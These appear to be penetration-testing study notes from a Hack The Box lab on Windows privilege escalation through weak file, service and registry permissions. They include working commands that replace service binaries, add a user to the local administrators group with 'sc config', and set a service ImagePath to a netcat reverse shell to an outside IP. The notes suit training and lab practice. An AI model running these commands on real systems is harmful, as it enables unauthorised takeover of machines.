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Weak Permissions

Permissive File System ACLs

Sharpup

To check weak ACL

.\SharpUp.exe audit

Checking permissions with icacls

Previously discovered appliaction: 

icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"

Replace service binary

cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"

sc start SecurityService

Weak Service Permissions

Check sharpup again for misconfigured services:

Check permission with accesschk

The flags we use, in order, are -q (omit banner), -u (suppress errors), -v (verbose), -c (specify name of a Windows service), and -w (show only objects that have write access).

accesschk.exe /accepteula -quvcw WindscribeService

Here we can see that all Authenticated Users have SERVICE_ALL_ACCESS rights over the service, which means full read/write control over it.

We are not in admin group currently

Change service binary path

sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"

Then restart service:

sc stop WindscribeService
sc start WindscribeService

Now we are in local admin group:

net localgroup administrators

Another notable example is the Windows Update Orchestrator Service (UsoSvc)

Unquoted Service Path

For example: C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe

The following paths are search and .exe is implied

  • C:\Program
  • C:\Program Files
  • C:\Program Files (x86)\System
  • `C:\Program Files (x86)\System Explorer\service\SystemExplorerService64``

So if we can create these files we can get admin privilege:

  • C:\Program.exe\
  • C:\Program Files (x86)\System.exe

To find:

wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

Permissive Registry ACLs

It is also worth searching for weak service ACLs in the Windows Registry. We can do this using accesschk.

Checking for Weak Service ACLs in Registry

accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services

We can abuse this using the PowerShell cmdlet Set-ItemProperty to change the ImagePath value, using a command such as:

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"

Modifiable Registry Autorun Binary

Check Startup Programs

Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl